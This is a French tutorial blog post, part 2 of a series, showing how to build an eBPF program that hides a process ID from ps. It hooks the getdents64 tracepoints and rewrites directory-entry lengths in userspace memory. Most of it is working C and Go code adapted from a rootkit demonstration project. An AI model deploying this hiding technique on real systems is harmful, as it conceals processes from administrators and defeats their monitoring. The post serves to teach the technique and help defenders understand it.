Cet article est un tutoriel pour réaliser un programme eBPF en utilisant un tracepoint.
Si vous n’êtes pas familier avec l’eBPF, vous pouvez vous référer à notre introduction à l’eBPF, ou à la documentation officiel.
Pour suivre cet article dans les meilleures conditions, il est recommandé de lire la partie 1 qui détaille la méthodologie suivie pour dissimuler un PID.

En pratique, comment masquer un PID aux yeux d’un utilisateur ?

Note : Cet article est aussi disponible en anglais 🇬🇧.

Objectif

Dans cet article, nous allons voir le fonctionnement de l’eBPF grâce à un exemple pratique. Nous allons chercher à masquer un process identifier (PID) aux yeux d’un utilisateur. L’article précédent introduit les concepts autour de l’utilisation des tracepoints dans un programme eBPF et du fonctionnement du syscall getdents64. Cette seconde partie se concentre principalement sur la création du code permettant de masquer un PID.
Le code que nous verrons est une version revisitée du projet bad-bpf présenté par Patrick H. à la DEF CON 29 en 2021. Vous trouverez le code complet sur le dépôt d’Acceis.

L’objectif de cet article est de comprendre, en pratique, comment réaliser un programme eBPF capable de masquer le PID d’un programme.
Cet article se concentre sur le backend du programme pour mettre en évidence la manière dont le PID est masqué au sein du kernel, sans attacher du détail à la façon dont le programme est chargé dans le noyau.

Résumé de la partie 1

L’article précédent a montré que la commande ps était similaire à ls /proc et mis en lumière le fonctionnement de l’appel système getdents64 ainsi que comment il peut être utilisé pour dissimuler un répertoire. L’utilisateur définit un buffer dans l’espace utilisateur, qui est ensuite passé en paramètre de l’appel système puis complété lors de l’exécution de l’appel. Ce buffer contient autant d’entrées de type struct linux_dirent64 qu’il n’y a d’élément dans le répertoire.
Pour ensuite pouvoir dissimuler un PID, il faut itérer sur ce buffer puis supprimer l’entrée correspondante.

Pour parcourir un buffer sans connaître sa taille, il faut itérer en fonction de la taille en octet de chaque élément, c’est-à-dire partir de l’adresse de départ du buffer puis incrémenter une "position" dans le buffer incrémenté à chaque itération par la taille de l’élément courant. Dans le cas de linux_dirent64, la taille est définie dans son paramètre d_reclen. Donc en ajoutant cette valeur à la position de départ du buffer, cela permet de récupérer la donnée.

Pour dissimuler une entrée dans le buffer, la démarche la plus simple est de rallonger la longueur du dirent précédent (la valeur de son d_reclen), à sa propre longueur, plus la longueur du dirent que nous souhaitons masquer. Ainsi le dirent précédent fera sa longueur plus celle du dirent à masquer, donc lors de la lecture du buffer cela rendra "invisible" sa lecture.

Initialisation du programme

Pour automatiser l’injection de programme eBPF dans le kernel, il est possible d’utiliser la bibliothèque ebpf-go développée pour des programmes en go. Le frontend de l’application est donc écrit avec Golang et utilise cette bibliothèque. Le code en Go tourne ainsi dans l’espace utilisateur, s’occupe d’injecter le code eBPF, écrit en C puis de le compiler, directement dans le noyau.
Il s’agit donc de programmes distincts des programmes eBPF qu’il injecte et ne partageant donc pas le même espace en mémoire.

Pour rester simple sur le frontend de l’application, le code eBPF est injecté grâce à cette bibliothèque et se présente de la façon suivante :

func hideDir(dirname string) {
  bpfManager, err := BootstrapBPF(dirname)
  if err != nil {
     log.Fatal("Failed to bootstrap BPF:", err)
     return
  }
  bpfManager.handlePerfEvent()
  bpfManager.waitUntilExitCall()
}
  • BootstrapBPF est utilisé pour initialiser les programmes eBPF avec dirname le nom du fichier (ou le nom du PID) à masquer. Cette fonction permet d’injecter les programmes eBPF sys_enter_getdents64 et sys_exit_getdents64.
  • bpfManager.handlePerfEvent() crée une goroutine qui attend les événements renvoyés par le programme eBPF pour les afficher en console dans l’espace utilisateur.
  • bpfManager.waitUntilExitCall() permet d’attendre que le programme reçoive un signal d’arrêt pour mettre fin au programme.

Ne nous attardons pas davantage sur ce frontend. Toute la logique pour dissimuler un PID se trouve dans le backend en C.

Lors du lancement de l’outil, l’utilisateur définit le nom du PID (ou d’un répertoire) à masquer (ex : sudo ./bin/hide-dir 1337). Celui-ci est envoyé dans une map eBPF qui est ensuite utilisée lorsque les différents programmes eBPF sont déclenchés.

Définition des maps

Pour faire transiter de la donnée d’un programme eBPF à un autre, ou entre l’espace utilisateur et l’espace kernel, le kernel met à disposition des maps permettant de stocker la donnée et de la faire "voyager" entre ces contextes. Elles peuvent également être utiles pour partager de la donnée entre plusieurs programmes eBPF. Il existe différents types de map répondant à différents besoins.

Pour ce projet, 3 maps seront nécessaires :

struct {
  __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY);
  __type(key, u32);
  __type(value, u32);
} rb SEC(".maps");

struct {
  __uint(type, BPF_MAP_TYPE_HASH);
  __uint(max_entries, 10);
  __type(key, u32);
  __type(value, u64);
} map_dirent SEC(".maps");

struct {
  __uint(type, BPF_MAP_TYPE_ARRAY);
  __uint(max_entries, 1);
  __type(key, u32);
  __type(value, struct userspace_data);
} map_store_dirname SEC(".maps");
  • La map du nom de rb est un ring buffer et sert à envoyer des évènements à l’espace utilisateur. Vous pouvez retrouver davantage d’informations dans la documentation dédiée.
  • map_dirent sert à stocker le buffer contenant les entrées (linux_dirents64) dans le répertoire. Il s’agit d’une map de type hashmap (clé valeur).
  • map_store_dirname est la map qui est utilisée pour récupérer le PID (ou le nom d’un répertoire) défini par l’utiliateur. Il s’agit d’une map de type tableau. Pour notre cas, nous n’avons besoin que d’une seule entrée dans ce tableau pour masquer un répertoire à la fois.

Vous pouvez retrouver les informations complète concernant les maps dans la documentation du kernel

Les types tels que u8 u16 u32 u64 sont mis à disposition depuis le fichier vmlinux.h. Ils sont utilisés pour garantir la cohérence et la précision des tailles de données à travers différentes architectures, et leur transformation en types exacts est gérée par le compilateur JIT lors du chargement du programme dans le noyau.

Récupération du buffer contenant les entrées du répertoire

Comme énoncé dans la partie 1, pour supprimer notre PID, il est nécessaire d’extraire le buffer contenant toutes les entrées du répertoire. Ce buffer est vide dans sys_enter_getdents64 puisque ce point d’attache est fait avant l’exécution du syscall.

SEC("tp/syscalls/sys_enter_getdents64")
int handle_getdents_enter(struct trace_event_raw_sys_enter *ctx)
{
  u32 pid = bpf_get_current_pid_tgid() >> 32;

  u64 dirents_buf = ctx->args[1];
  bpf_map_update_elem(&map_dirent, &pid, &dirents_buf, BPF_ANY);
  return 0;
}

Le code ci-dessus permet l’extraction et l’enregistrement du buffer dans la map. La variable pid sert à identifier le processus en cours et est utilisée dans le cas présent comme clé pour la hashmap map_dirent. Il faut une valeur unique inhérente à un seul processus pour ne pas se mélanger les pinceaux entre les différents déclenchements des programmes, et le pid s’y prête bien.

ctx->args est un tableau contenant les paramètres du syscall. Dans le cas de sys_enter_getdents64, ctx->args[1] fait référence à un struct linux_dirent64 * qui est un buffer contenant les différentes entrées du répertoire.
Grâce au helper bpf_map_update_elem, le buffer est stocké dans la map pour une utilisation ultérieure.

  • Les éléments de ctx->args sont les paramètres définis par l’utilisateur lors de l’appel système. Cela signifie qu’ils viennent de l’espace utilisateur donc ne partagent pas le même mémoire que les programmes eBPF. C’est une information importante pour la suite.
  • dirents_buf n’est pas un buffer de taille connu, donc il n’est pas possible de l’utiliser comme un tableau classique (ex : dirents_buf[1]). Mais chaque structure linux_dirent64 se suit dans la mémoire, donc il est possible de reconstruire les types et d’accéder à la prochaine valeur en connaissant la longueur de la structure courante.

La prochaine étape consiste à récupérer le buffer depuis sys_exit_getdents64, vérifier si notre PID est présent dans la liste des répertoires, et si c’est le cas, le supprimer.

Pour rappel, ps est en réalité similaire à ls /proc

Extraction du buffer rempli, et du répertoire à masquer

SEC("tp/syscalls/sys_exit_getdents64")
int handle_getdents_exit(struct trace_event_raw_sys_exit *ctx)
{
  u64 pid = bpf_get_current_pid_tgid() >> 32;

  u64 * dirents_buf = get_dirent_buf(&pid);
  struct userspace_data * userspace_data = get_userspace_data();

  if (!dirents_buf || !userspace_data) return 0;
  ...
  return 0;
}

Le code ci-dessus permet d’extraire le buffer précédemment enregistré dans la map map_dirent grâce à get_dirent_buf. La clé pour récupérer le buffer étant le pid, c’est cela qui est passé en paramètre de la fonction dont voici le code :

u64 * get_dirent_buf(u64 * pid) {
  return (u64*)bpf_map_lookup_elem(&map_dirent, pid);
}

Une fois le buffer récupéré, il faut obtenir le nom du répertoire à masquer défini par l’utilisateur au lancement du programme. La fonction get_userspace_data sert, de la même façon que get_dirent_buf, à extraire cette donnée depuis la map map_store_dirname. La structure retournée contient le nom du fichier sous forme d’une chaîne de caractères et sa taille.

struct userspace_data {
  u8 dirname_to_hide[MAX_NAME_LEN];
  int dirname_len;
};

Si la donnée n’est pas présente dans les maps, les fonctions renvoient un pointeur NULL. Il faut donc s’assurer que ce ne soit pas le cas pour continuer le programme, auquel cas il faut simplement mettre fin au programme.

if (!dirents_buf || !userspace_data) return 0;

Le verifier a besoin que ce genre de vérifications soit faites pour ne pas nuire à la sécurité du kernel ou son bon fonctionnement.

Le patch du buffer

Vue global

Maintenant que notre buffer dirents_buf est complété avec toutes les entrées présente dans le répertoire courant (linux_dirent64), il ne reste plus qu’à boucler sur chaque entrée, puis tester si l’une d’elle correspond au répertoire que nous souhaitons dissimuler.

SEC("tp/syscalls/sys_exit_getdents64")
int handle_getdents_exit(struct trace_event_raw_sys_exit *ctx)
{
  ...
  struct dirents_data_t dirents_data = {
    .bpos = 0,
    .userspace_data = userspace_data,
    .dirents_buf = dirents_buf,
    .buff_size = ctx->ret,
    .d_reclen = 0,
    .d_reclen_prev = 0,
    .patch_succeded = false,
  };

  bpf_loop(MAX_DIRENTS, patch_dirent_if_found, &dirents_data, 0);
  ...
  return 0;
}

Le buffer n’est pas un tableau de taille connue, il faut définir l’état d’avancement à chaque itération pour savoir exactement quelle est la structure en cours d’analyse. bpos représente cette position d’avancée dans le buffer (bpos signifie buffer position).

La fonction de helper bpf_loop crée une boucle qui itère de 0 jusqu’à MAX_DIRENTS (ici défini à 10000) et exécute pour chaque itération une fonction dite de callback patch_dirent_if_found.
Cette fonction de callback patch_dirent_if_found prend en paramètre l’index courant ainsi qu’un pointeur vers une donnée de n’importe quel type (ici, il s’agit de dirents_data).
L’objectif est d’avoir une donnée commune à chaque itération pour déterminer le dirent courant en fonction d’une position bpos qui sera incrémentée. Donc grâce à la structure dirents_data_t, chaque itération peut avoir accès au buffer, sa position et sa taille, les informations relatives au répertoire à masquer défini par l’utilisateur ainsi que deux paramètres qui déterminent la taille du dirent (de l’entrée courante et précédente) et la dernière valeur qui permet de savoir si le patch a été réalisé avec succès ou non.

Au cœur du patch

Comprendre la démarche du patch

Avant de rentrer dans les détails de la façon dont le patch est réalisé, il faut trouver une stratégie efficace pour retrouver exactement quel est le dirent correspondant au répertoire à masquer.
La solution mise en place est d’extraire le nom du répertoire dirent->d_name depuis la structure linux_dirent64 et comparer chaque caractère avec celui du fichier à masquer. C’est-à-dire une boucle qui itère autant de fois qu’il y a de lettres dans d_name et qui compare chacune des lettres avec celles définies par l’utilisateur.

Une autre option aurait été de comparer la mémoire des 2 variables d_name et dirname_to_hide et de s’assurer qu’elles aient la même taille. LLVM possède une fonction spécialement prévue pour cela, __builtin_memcmp, mais cette fonction appelle memcmp de la glibc. Comme les appels à des bibliothèques externes sont interdits, le verifier bloquera cela lors du chargement dans le noyau.

Préparation du patch

La boucle est définie sur un index fixe (MAX_DIRENTS), car le verifier ne peut pas se baser sur une valeur dynamique pour prévenir des boucles infinies. Comme la longueur du buffer dirents_buf est dynamique, autrement dit différente d’un répertoire à un autre, il est primordial de sortir de la boucle dès que l’on a atteint la fin du buffer.

int patch_dirent_if_found(u32 _, struct dirents_data_t *data)
{
  if(is_end_of_buff(data->bpos, data->buff_size)) return 1;

  u8 dirname[MAX_NAME_LEN];
  struct linux_dirent64 * dirent = get_dirent(*data->dirents_buf, data->bpos);
  ...
  return 0;
}

is_end_of_buff a pour rôle de vérifier si la position dans le buffer est supérieure à la taille du buffer. L’objectif est d’éviter son dépassement lors de la récupération de dirent.

Voici le code permettant de retrouver l’entrée courante dirent :

struct linux_dirent64 * get_dirent(u64 dirents_buf, int bpos) {
  return (struct linux_dirent64 *)(dirents_buf + bpos);
}

La fonction prend en paramètre dirents_buf qui est un buffer de 64 bits. Les pointeurs pour chaque dirent sont contigus dans la mémoire, donc il suffit de connaître la longueur du premier pour obtenir l’adresse du second, et ainsi de suite. C’est là le rôle de bpos.

Avant de faire la comparaison entre le nom du répertoire courant et celui à masquer, il reste à déterminer la longueur du dirent courant et son nom.

int patch_dirent_if_found(u32 _, struct dirents_data_t *data)
{
  ...
  read_user__reclen(&data->d_reclen, &dirent->d_reclen);
  read_user__dirname(dirname, dirent->d_name);

  struct userspace_data * userspace_data = data->userspace_data;
  ...
  return 0;
}

read_user__reclen et read_user__dirname sont des fonctions créées spécifiquement pour s’assurer que la donnée est dite "saine". Le buffer dirents_buf est un pointeur vers l’espace utilisateur qui est un espace mémoire distinct de celui du kernel. Par mesure de sécurité, il n’y a pas de partage de mémoire entre les deux. Donc un pointeur est dit "unsafe" lorsqu’il provient de l’espace utilisateur et a besoin d’être vérifié. Pour cela, le kernel met à disposition des helpers (bpf_probe_read ou bpf_probe_read_user_str) qui s’occupent de récupérer de manière sécurisée la donnée. Dans le cas présent, l’objectif est de récupérer dirent->d_reclen et de placer le résultat dans data->d_reclen et de faire la même chose pour dirname. Dans le noyau, d_reclen représente la taille du dirent courant. C’est notamment grâce à cela que peut-être calculée la position du dirent suivant dans le buffer.

Comparer le nom du répertoire courant avec celui à masquer

Une fois toutes ces données correctement récupérées, l’étape suivante consiste à déterminer si dirname et dirname_to_hide sont identiques.

Pour comparer dirname et dirname_to_hide, une méthode simple consiste à tester tous les caractères de l’un et de l’autre. Pour cela, il faut déterminer le nombre de caractères le plus petit qu’il y a dans l’un ou l’autre, puis utiliser cette valeur comme référence pour effectuer une boucle à partir de cet index.

int patch_dirent_if_found(u32 _, struct dirents_data_t *data)
{
  ...
  int max_str_len = get_str_max_len(userspace_data->dirname_to_hide, dirname, userspace_data->dirname_len);

  if (is_dirname_to_hide(max_str_len, dirname, userspace_data->dirname_to_hide)) {
    data->patch_succeded = remove_curr_dirent(data);
    return 1;
  }
  ...
}

max_str_len permet de déterminer le nombre de caractères à tester, c’est-à-dire le nombre de caractères présents dans dirname_to_hide.

is_dirname_to_hide permet de comparer les deux chaînes de caractères dirname_to_hide et dirname.

bool is_dirname_to_hide(int max_str_len, u8 * dirname, u8 * dirname_to_hide) {
  int i = 0;
  for (; i < max_str_len; i++) {
    if (dirname[i] != dirname_to_hide[i]) return false;
  }
  return dirname[i] == 0x00;
}

La fonction retourne false si les chaînes de caractères ne contiennent pas les mêmes données. Pour chaque itération, chaque caractère est comparé, et si aucune correspondance n’est trouvée, la fonction s’arrête. Si tout est valide, une dernière comparaison est faite pour s’assurer que les variables soient identiques. En effet, il y a un cas d’usage qui peut survenir, à savoir lorsque dirname = 12345 et dirname_to_hide = 123. La boucle teste les combinaisons, mais ne s’assure pas que dirname et dirname_to_hide soient de même longueur. Pour cela, il faut bien vérifier que le dernier paramètre de dirname soit un octet nul.

En C, une chaîne de caractères est toujours suivie d’un octet à zéro (0x00) pour en marquer la fin.

Si tous les caractères correspondent, patch du buffer

Pour supprimer le dirent du buffer, la solution la plus simple est de prendre l’index du dirent précédent, et surcharger la valeur de d_reclen par sa valeur + celle du dirent à supprimer (e.g. previous_d_reclen + current_d_reclen = new_d_reclen). Ainsi, lorsque l’utilisateur va parcourir le buffer, il ne pourra pas lire le contenu du dirent car il ne connaîtra pas sa position dans le buffer.

data->patch_succeded = remove_curr_dirent(data);

Pour supprimer le dirent il faut un certain nombre d’éléments et cela se fait en plusieurs étapes.

bool remove_curr_dirent(struct dirents_data_t * data) {
  struct linux_dirent64 *dirent_previous = get_dirent(*data->dirents_buf, (data->bpos - data->d_reclen_prev));
  u16 d_reclen_new = data->d_reclen + data->d_reclen_prev;
  return bpf_probe_write_user(&dirent_previous->d_reclen, &d_reclen_new, sizeof(d_reclen_new)) == 0;
}

Dans un premier temps, il faut récupérer le dirent de l’itération précédente, puis calculer sa nouvelle longueur. Et enfin mettre sa valeur à jour dans le buffer grâce au helper bpf_probe_write_user.

Pour rappel, le buffer dirents_buf est un pointeur vers l’espace utilisateur. Donc sa valeur ne peut pas directement être modifiée depuis le programme eBPF. C’est pour cela qu’il faut utiliser le helper bpf_probe_write_user.

remove_curr_dirent retourne un booléen en fonction du succès ou de l’échec de la réécriture.

Si tous les caractères ne correspondent pas, incrémentation de bpos

Si is_dirname_to_hide retourne false, il faut incrémenter la position dans le buffer pour qu’à la prochaine itération la recherche soit faite sur le dirent qui suit.

int patch_dirent_if_found(u32 _, struct dirents_data_t *data)
{
  ...
  if (is_dirname_to_hide(max_str_len, dirname, userspace_data->dirname_to_hide)) {
    ...
    return 1;
  }
  data->d_reclen_prev = data->d_reclen;
  data->bpos += data->d_reclen;
  return 0;
}

d_reclen_prev ici est utilisé pour suivre la taille du précédent dirent et ainsi retrouver sa position dans le buffer lors du patch de remove_curr_dirent.

Envoie de la notification à l’utilisateur

Une fois le patch effectué et réalisé avec succès, la boucle bpf_loop se termine. Si un patch a été effectué avec succès, une notification peut alors être envoyée.

SEC("tp/syscalls/sys_exit_getdents64")
int handle_getdents_exit(struct trace_event_raw_sys_exit *ctx)
{
  ...
  if (dirents_data.patch_succeded) {
    notify_userspace(ctx, pid);
  }

  bpf_map_delete_elem(&map_dirent, &pid);
  return 0;
}

L’envoi de la notification se fait grâce au ring buffer défini plus tôt depuis la fonction notify_userspace.

long notify_userspace(void *ctx, u64 pid) {
  struct rb_event e = {
    .overwrite_succed = true,
    .pid = pid,
  };
  bpf_get_current_comm(&e.command, sizeof(e.command));
  return bpf_perf_event_output(ctx, &rb, BPF_F_CURRENT_CPU, &e, sizeof(e));
}

La donnée remontée à l’espace utilisateur par le ring buffer est une structure rb_event qui peut contenir n’importe quel type de donnée. Dans le cas présent, il s’agit du PID du processus qui effectue ce syscall ainsi que la commande en cours d’exécution.

Et le résultat ?

Une fois le projet compilé, il ne reste plus qu’à l’exécuter.
Si par exemple, nous cherchons à masquer le PID 53745.

sudo ./bin/hide-dir 53745

Pour charger un programme eBPF il est presque systématique d’avoir les droits administrateur car le programme est dans le kernel.

Dans un autre terminal, en exécutant la commande ps, nous pouvons voir la présence du processus.

ps -ef | grep 53745

Nous pouvons dès lors constater que le PID n’est plus présent dans la liste.
Une notification est alors reçue par notre frontend, puisque notre dirent a correctement été patché, et un message s’affiche alors en console.

2024/01/31 21:33:29 Hiding "53745" for process "ps" (pid: 76778)

Le code complet est disponible sur GitHub.

À propos de l’auteur

Article écrit par Tristan d’Audibert alias Sathi, apprenti ingénieur en cybersécurité chez ACCEIS.